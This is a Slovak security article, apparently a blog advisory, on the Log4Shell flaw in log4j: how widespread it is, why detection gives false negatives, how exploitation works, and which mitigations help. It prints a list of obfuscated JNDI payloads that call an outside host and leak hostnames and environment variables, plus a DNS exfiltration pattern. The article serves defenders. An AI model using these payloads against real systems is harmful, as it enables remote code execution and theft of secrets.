Mnohí bezpečnostní špecialisti, administrátori, či vývojári počas víkendu bojovali s dôsledkami zverejnenia zraniteľnosti Log4Shell (CVE-2021-44228). Veľmi dobre si uvedomujú rozsiahlosť problému a komplikácií spojených s jeho odstraňovaním. Prostredníctvom tohoto článku to chceme priblížiť aj vám ostatným.
Problém so zraniteľnosťou knižnice log4j charakterizujú dve základné vlastnosti - skrytá všadeprítomnosť knižnice a falošná negativita (false negative) pri detekcii a testovaní.
Samotný problém s rozšírenosťou knižnice asi najlepšie vystihuje nasledovný tweet:
Did you know that Ingenuity, the Mars 2020 Helicopter mission, is powered by Apache Log4j? – TheASF
Zoznam identifikovaných zraniteľných produktov neustále narastá, rovnako ako pribúdajú vyjadrenia výrobcov a vývojárov. Už len samotné potvrdenia ohľadne zraniteľnosti produktov v prípade veľkých firiem prichádzajú len veľmi pomaly, dočasné riešenia pre identifikované zraniteľné produkty ešte pomalšie, a patche na samotné produkty “sú na ceste”. V tomto prípade je dobrým príkladom vmware kde sa zraniteľnosť dotkla veľkého množstva produktov predstavujúcich dôležitú súčasť infraštruktúry, a aj napriek veľkému úsiliu cesta k náprave ešte nejaký čas potrvá. Ak napríklad používate VCenter s prihlasovaním prostredníctvom SSO, nemali by ste váhať.
Problém s identifikovaním zraniteľných komponentov má taktiež viacero úrovní problémov a preto by nikdy nemal byť použitý ako jediný spôsob testovania.
Aktuálne najrozšírenejší spôsob testovania (ako aj zneužívania) predstavuje vkladanie škodlivého kódu do hlavičiek HTTP požiadaviek (najčastejšie User-Agent), či už polo-automatizovane alebo s použitím jednoduchých skriptov ako log4j-scan.
Tento spôsob je veľmi výhodný pre hromadné zneužívanie, nakoľko útočníkom ide o spustenie škodlivého kódu na čo najväčšom počte zariadení podobne, ako pre testerov (či bug bounty hunterov).
Pre samotnú identifikáciu zraniteľného systému, ako aj reálne potvrdenie možnosti zneužitia zraniteľnosti, je potrebné reálne vykonanie kódu na danom systéme. Iba zo samotnej obdržanej DNS požiadavky nie je možné zistiť ktorý systém či aplikácia je jej pôvodcom. Výnimkou použiteľnou pre identifikáciu zdrojového systému môže byť upravenie testovacieho kódu a zakomponovanie mena zdrojového počítača (hostname - ${hostName}.${env:COMPUTERNAME}) do dopytovanej ldap cesty prípadne prostredníctvom dns dopytu (${jndi:dns://<dns server>/<TXT record query string>}).
Hoci je škodlivý kód vložený do požiadavky na webovú aplikáciu dostupnú z internetu, neznamená to že ona samotná je zraniteľná, ani že k spusteniu kódu z jednej požiadavky dôjde iba na jednom mieste. Pri nešťastnej súhre okolností môže jediná požiadavka spustiť daný kód hneď niekoľkokrát v aplikáciách spracovávajúcich webové požiadavky, vyhodnocovaní logov, či ukladaní dát.
Taktiež samotná odozva na testovaciu požiadavku nemusí byť vykonaná ihneď počas testovania, ale aj s niekoľko hodinovou odozvou, napríklad pri periodickom spracovaní aplikačných dát či paradoxne logov inými aplikáciami, či systémami za účelom analytiky, chýb alebo paradoxne útokov.
Tento testovací scenár takisto nezohľadňuje fakt, že pre prejavenie zraniteľnosti (zalogovanie vstupu) sú potrebné špecifické podmienky, napríklad vyvolanie aplikačnej chyby.
Rovnako dôležité je uvedomiť si, že v tomto prípade webové aplikácie nepredstavujú jediný vstup pre škodlivý kód, zraniteľné sú taktiež iné druhy sieťových služieb, ako aj aplikácie spracovávajúce ich dáta či log záznamy. Služby ako SMTP či SSH môžu predstavovať rovnako účinný vstup ktorý spôsobí prejavenie zraniteľnosti napríklad v SIEM systéme.
Aj ihneď je neskoro!
Zraniteľnosť je aktívne hromadne zneužívaná v nevídane veľkom rozsahu. Viaceré veľké botnety už zraniteľnosť využívajú na svoje šírenie. Vzhľadom na veľmi efektívnu “červovateľnosť” (wormability) tejto zraniteľnosti je veľmi pravdepodobné, že je otázkou maximálne dní, kedy sa objaví prvý samostatne sa šíriaci červ.
Taktiež je dobré osvojiť si, už dopredu, mentalitu “k útoku už došlo”, nakoľko hromadné zneužívanie začalo iba niekoľko hodín po zverejnení zraniteľnosti (kvôli jednoduchosti), avšak jednotlivé pokusy o zneužitie sa podľa CloudFlare objavili už 9 dní pred zverejnením.
Váš prístup by mal vychádzať z predpokladu že zraniteľná je každá java aplikácia vo vašej sieti. Nemali by ste čakať na potvrdenie, či opravu od výrobcu či vývojára a mali by ste aplikovať dočasné opravy ihneď. Nemali by mať dopad na funkčnosť aplikácie a predstavujú všeobecne dobrý “hardening” a dobré bezpečnostné praktiky.
Aktuálne sa pozornosť venuje hlavne webovým službám dostupným z internetu, v druhom rade interným webovým službám. To je pochopiteľné a správne, pretože predstavujú najkritickejšiu časť. To je však len začiatok – z pohľadu rozsahu problému je to iba špička ľadovca. Známy výrok 3 Billion Devices Run Java aktuálne dostáva úplne nový rozmer. Ak máte zimomriavky, tak reagujete správne. Často zanedbávané bezpečnostné odporúčania - viesť katalóg používaného softvéru, a v prípade vývoja aplikácií katalóg použitých knižníc - teraz ľuďom značne uľahčuje prácu.
Je dôležité mať na pamäti, že aj keď samotná aplikácia vo fabrickej konfigurácii nie je zraniteľná, pri zmene konfigurácie sa môže zraniteľnosť prejaviť - confluence. Zraniteľné môžu byť aj rozšírenia používané v aplikácii - Jenkins.
Aplikácie dostupné z internetu predstavujú vstupnú bránu k interným systémom, napríklad ako vstup do systémov SIEM.
Netreba zabúdať ani na systémy u ktorých riziko nemusí byť hneď zjavné, ako je napríklad monitoring serverov SAM - Server & Application Monitor, alebo správa (wifi) infraštruktúry UniFi.
Zraniteľnosť sa netýka iba webových aplikácií a webového manažmentu. Samotná zraniteľnosť sa vyskytuje aj v prípade klasických “desktopových” aplikácií a neobchádza ani bezpečnostné nástroje Ghidra Software Reverse Engineering Framework
Najpresnejší systém identifikovania zraniteľných komponentov aktuálne predstavuje systematické prehľadávanie súborového systému (vrátane aplikačných archívov) serverov (prípadne pracovných staníc) na prítomnosť knižnice vo formáte log4j-*.jar.
Zraniteľné verzie knižnice sú v rozsahu 2.0-beta9 až 2.14.1. Opravená verzia knižnice je 2.15.0.
V prípade použitia log4j v1 je taktiež odporúčaná aktualizácia na verziu 2.15.0, nakoľko je táto vetva zraniteľná na iné formy tohto typu útoku.
V prípade že používate systém pre kontrolu integrity súborov, mohol by vám hľadanie uľahčiť zoznam hashov zraniteľných verzí knižnice, dostupný na githube CVE-2021-44228-Log4Shell-Hashes.
Ak potrebujete rýchlo a jednoducho otestovať vaše aplikácie prostredníctvom zraniteľného kódu v hlavičke HTTP požiadaviek, je možné použiť napríklad log4j-scan.
Môžete použiť logovací DNS server tretej strany dnslog.cn, čím však odovzdávate zoznam zraniteľných serverov tretej strane. Lepšie je použiť DNS server pod vašou kontrolou. Ako alternatívy uvádzame možnosť použiť canarytokens.org, prípadne burpcollaborator.net .
Pre automatizované identifikovanie zraniteľných závislostí je možné použiť skener od Lunasec
Aktualizujte na verziu 2.16.0. Aplikujte konfiguračné zmeny. Zneužitie je závislé na komunikácii do internetu čo by pre produkčné systémy nikdy nemalo byť možné.
Pre korektné pochopenie problému a následné zváženie efektivitý náprav, je potrebné si aspon koncepčne popísať ako zneužitie zraniteľnosti prebieha. To je ilustrované na obrázku nižšie. Pre detailnejší technický popis odporúčame nasledovný článok od Fastly.
Zdroj: randori
Slovne povedané, po tom ako dôjde k zalogovaniu útočníkovho vstupu, kontaktuje aplikácia útočníkom špecifickovaný server prostredníctvom ldap protokolu (útočník môže špecifikovať iný ako štandardný port) v snahe načítať informácie o požadovanom objekte a následne samotnú java triedu. V prípade úspechu dôjde k spusteniu java kódu definovaného útočníkom v kontexte aplikačného používateľa.
Nie všetky odporúčania predstavujú efektívne riešenie problému samy o sebe.
Nižšie uvedená infografika predstavuje odporúčania švajčiarskeho CERTu, a na prvý pohľad môže čitateľa zvádzať k myšlienke že použitie WAF na zablokovanie doručenia prvotného vektoru útoku, teda samotného textového reťazca na vynútenie chyby predstavuje efektívne riešenie problému.
WAF je iba náplasť
Nie je tomu však tak. Podobne ako pri všetkých webových aplikáciách WAF predstavuje iba doplnkovú ochranu - nie riešenie problému. Použitie WAF na identifikovanie textového reťazca predstavovalo rozhodne dobrý nápad v prvých momentoch zneužívania, nakoľko je plošne jednoducho a rýchlo aplikovateľné. Tu však všetky výhody končia, nakoľko je detekcia založená na identifikácii konkrétnej podoby textového reťazca ktorú je vždy možné obísť obfuskáciou (inou variantou zápisu) ktorú systém nerozpozná. To sa začalo diať už v priebehu prvých hodín, a pre príklad uvádzame niekoľko používaných obfuskovaných variánt. Tie je možné samozrejme rôzne kombinovať znemožňuje efektívnu detekciu.
${jndi:ldap://127.0.0.1:1389/ badClassName}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${::-j}ndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${jndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}
${${lower:jndi}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${lower:${lower:jndi}}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${upper:jndi}:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${upper:j}${upper:n}${lower:d}i:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${upper:j}${upper:n}${upper:d}${upper:i}:${lower:r}m${lower:i}}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}
${${upper::-j}${upper::-n}${::-d}${upper::-i}:${upper::-l}${upper::-d}${upper::-a}${upper::-p}://${hostName}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.${env:COMPUTERNAME}.${env:USERDOMAIN}.${env}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}
zdroj: ZephrFish
Taktiež treba mať na pamäti že HTTP požiadavky predstavujú najefektívnejší, nie však jediný, kanál pre doručenie prvotného škodlivého kódu. (sieťové služby, súbory, …)
Nová Java nerieši všetko
Aktualizácia Java na najnovšiu verziu, ako aj nastavenie com.sun.jndi.ldap.object.trustURLCodebase=false, predstavuje rýchle, nie však úplné riešenie problému (stále je možnosť načítavať java triedy lokálne) ani konečné, nakoľko je pravdepodobné, že sa časom objaví spôsob zneužitia zraniteľnosti aj na nových verziách Java. Nemali by ste sa preto spoliehať výhradne na túto možnosť.
Upravenie log šablón nie je koncepčné riešenie
Hoci úprava formátu logovacích šablón z %m na %m{nolookup} bráni zneužitiu zraniteľnosti, nepredstavuje tento spôsob riešenia problému koncepčné riešenie. Dôvodom je že môže dôjsť k prehliadnutiu niektorého z výskytov, prípade môže dôjsť opomenutiu pri aktualizácii aplikácie v budúcnosti (použitie klasickej šablóny).
Blokovanie odchodzích spojení, je esenciálne avšak nerieši všetko
Komunikácia so serverom pod kontrolou útočníka, za účelom stiahnutia škodlivej java triedy, je nutnou podmienkou zneužitia zraniteľnosti. Produkčné servery by nikdy nemali byť schopné iniciovať spojenia do internetu (s výnimkou explicitne povolených dôveryhodných cieľov), na tejto základnej praktike sa asi všetci zhodneme. Hoci blokovanie spojení znemožňuje zneužitie zraniteľnosti na danom systéme, treba myslieť na možné výnimky a krajné situácie.
Hoci takáto striktná politika býva pravidlom pre produkčné systémy pre vývojové a testovacie prostredia, ako aj zariadenia v používateľských segmentoch takéto pravidlá väčšinou nie sú vynucované - a práve tieto môžu predstavovať vstupnú bránu do vašej organizácie a najvhodnejší cieľ pre možné malware útoky (ransomware).
Často opomínané riziko taktiež predstavuje fakt že v prípade cloud služieb, ako napríklad AWS, sú v niektorých prípadoch držané v premenných prostrediach privátne kľúče alebo iné citlivé informácie. Aj v prípade že systém nie je schopný otvárať spojenia do internetu, útočníci sú stále schopní exfiltrovať takéto dáta {držané v ${env}} prostredníctvom DNS napríklad volaním ${jndi:dns://<dns server>/<TXT record query string>}.
Taktiež myslite na to že hoci sa aktuálne zraniteľnosť zneužíva prostredníctvom internetu, čo predstavuje najväčšie riziko, postupom času (a ešte dlhý čas) sa bude zneužívať z lokálnych sietí.
Aktualizácia na verziu 2.15.0
Aktualizácia knižnice log4j na verziu 2.15.0 predstavuje najlepšie a úplné riešenie. Verzia je dostupná na Apache Download.
Konfiguračné nastavenia
Nastavením voľby formatMsgNoLookups=true v konfigurácii log4j.
Táto možnosť je však k dispozícii až od verzie 2.10.0, v opravenej verzii 2.15.0 je už štandardne zapnutá.
Túto voľbu môžete vynútiť viacerými spôsobmi
You can pass this as an argument when you invoke java.
java -Dlog4j2.formatMsgNoLookups=true ...LOG4J_FORMAT_MSG_NO_LOOKUPS=true java ..JAVA_OPTS=-Dlog4j2.formatMsgNoLookups=trueAnglickú verziu popisujúce možné riešenia zraniteľnosti nájdete na blogu Lunasec Detailnejší technický popis zraniteľnosti a možností zneužitia naájdete na blogu Fastly.
